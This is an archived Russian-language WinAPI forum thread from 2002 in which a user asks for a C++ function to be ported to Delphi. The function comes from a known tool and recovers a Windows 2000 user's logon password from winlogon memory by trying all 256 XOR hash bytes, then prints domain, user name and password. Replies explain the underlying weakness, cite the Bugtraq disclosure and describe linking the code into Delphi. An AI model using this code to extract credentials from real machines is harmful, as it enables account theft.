Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2003.01.13;
Скачать: [xml.tar.bz2];

Вниз

Помогите перевести код!   Найти похожие ветки 

 
SVM   (2002-11-21 14:36) [0]

Есть код на C++, необходимо перевести на DELPHI.
Всем заранее спасибо!

void
DisplayPasswordWin2K
(void)
{
DWORD i, Hash = 0;
UNICODE_STRING EncodedString;
EncodedString.Length =
(USHORT) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength =
((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer =
(PWSTR) HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);
// This is a brute force technique since the hash-byte
// is not stored as part of the encoded string - :>(.
for (i = 0; i <= 0xff; i++)
{
CopyMemory
(EncodedString.Buffer,
PasswordP,
PasswordLength * sizeof (wchar_t));
// Finally - try to decode the password.
pfnRtlRunDecodeUnicodeString
((BYTE) i,
&EncodedString);
// Check for a viewable password.
PBYTE p = (PBYTE) EncodedString.Buffer;
BOOL Viewable = TRUE;
DWORD j, k;
for (j = 0; (j < PasswordLength) && Viewable; j++)
{
if ((*p)
&&
(* (PBYTE)(DWORD (p) + 1) == 0))
{
if (*p < 0x20)
Viewable = FALSE;
if (*p > 0x7e)
Viewable = FALSE;
}
else
Viewable = FALSE;
k = DWORD (p);
k++; k++;
p = (PBYTE) k;
}
if (Viewable)
{
printf
("The logon information is: %S/%S/%S.\n",
UserDomain,
UserName,
EncodedString.Buffer);
printf
("The hash byte is: 0x%2.2x.\n",
i);
}
}
HeapFree
(GetProcessHeap (),
0,
EncodedString.Buffer);
} // DisplayPasswordWin2K


 
Игорь Шевченко   (2002-11-21 14:53) [1]

А вот хренушки... :-)


 
cdadmitriy   (2002-11-21 14:58) [2]

А сначало полный код можно ?


 
paul_shmakov   (2002-11-21 16:48) [3]

автор полного кода - Russ Osterlund ( http://www.smidgeonsoft.com/). программа называется PasswordReminder. основана на том факте, что по nt/2k имя пользователя и пароль в открытом виде хранятся в процессе winlogon.exe (при условии использования стандартной gina dll). хранятся они там для осуществления аутентификации на удаленных машинах, хотя по идее для этих целей должен использоваться токен пользователя.

2 SVM:
надежда, что кто-то за вас выполнит тупую работу - это плохо :)


 
Игорь Шевченко   (2002-11-21 17:06) [4]

paul_shmakov © (21.11.02 16:48)

А Руссинович пишет, что Token используется...


 
apay   (2002-11-21 19:28) [5]

а зачем переводить-то :), компильни в .obj и прилинкуй в дельфях:
{$L myobj.obj}


 
raven79   (2002-11-21 19:32) [6]

можно и так... но я так смотрю врод не сложно и переводить...


 
paul_shmakov   (2002-11-21 21:01) [7]

2 Игорь Шевченко:
конечно, по всем правилам (да и по логике вещей) должен использоваться токен, но когда Russ Osterlund обнаружил, что пароль лежит в открытом виде (почти, он проксорен), то сразу стали искать, а где к нему обращения есть. в результате поиска выяснилось, что он используется при авторизации на удаленных машинах.
вот такие пироги.

см. изначальный пост в bugtraq
http://archives.neohapsis.com/archives/ntbugtraq/1998-1999/msg00178.html

там внизу ссылка - ответ Dave Mills.


 
paul_shmakov   (2002-11-21 21:03) [8]

кстати, Russell Osterlund является главным инженером BoundChecker в NuMega :) вот и получается, что ближе к ядру, тем меньше случайных людей :)


 
SVM   (2002-11-21 21:15) [9]

Мда, думается, что мне никто не поможет...

2 apay Никогда с этим не сталкивался, можно поподробнее pliz


 
Игорь Шевченко   (2002-11-22 10:44) [10]

paul_shmakov © (21.11.02 21:01)

Руссинович про Win2K пишет, может, там оно уже поправлено ? :-)


 
paul_shmakov   (2002-11-22 12:41) [11]

2 Игорь Шевченко:
программа PasswordReminder под w2k прекрасно работает :) т.е. пароль все так же хранится в адресном пространстве winlogon.
единственное, что они поправили - в win2k вместе с паролем не хранится байт, с которым этот пароль проксорен (в nt хранился). но и эта проблема легко решается перебором 256 вариантов (см. код вверху).


 
Игорь Шевченко   (2002-11-22 12:44) [12]

paul_shmakov © (22.11.02 12:41)

Спасибо. Осталось под WinXP проверить :-) Там, вроде, много дырок заткнули...

С уважением,


 
apay   (2002-11-22 20:05) [13]

2 SVM
компилишь в .obj любым C-компилятором, который делает OMF, например борландовским bcc32.exe, потом в делфях пишешь

{$L myfile.obj}
procedure DisplayPasswordWin2K; external;

только printf может мешаться, но его можно заменить на апишную wsprintfA (на сях придетсянемного подправить).
но еще лучше подучить C++.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2003.01.13;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.47 MB
Время: 0.045 c
1-37140
malkolinge
2002-12-28 19:35
2003.01.13
Как отрубить в ТрееВью выбор ноды


1-37120
Kventin
2003-01-04 13:42
2003.01.13
Проблема с StringReplace


4-37428
Marko_polo
2002-11-24 07:38
2003.01.13
Нужна Помощь!!!


1-37127
Сутковой Вадим
2003-01-04 15:11
2003.01.13
Удаление настроек (некоторых) из INI.


4-37463
Alex Bogdanov
2002-11-27 08:24
2003.01.13
WinExec





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский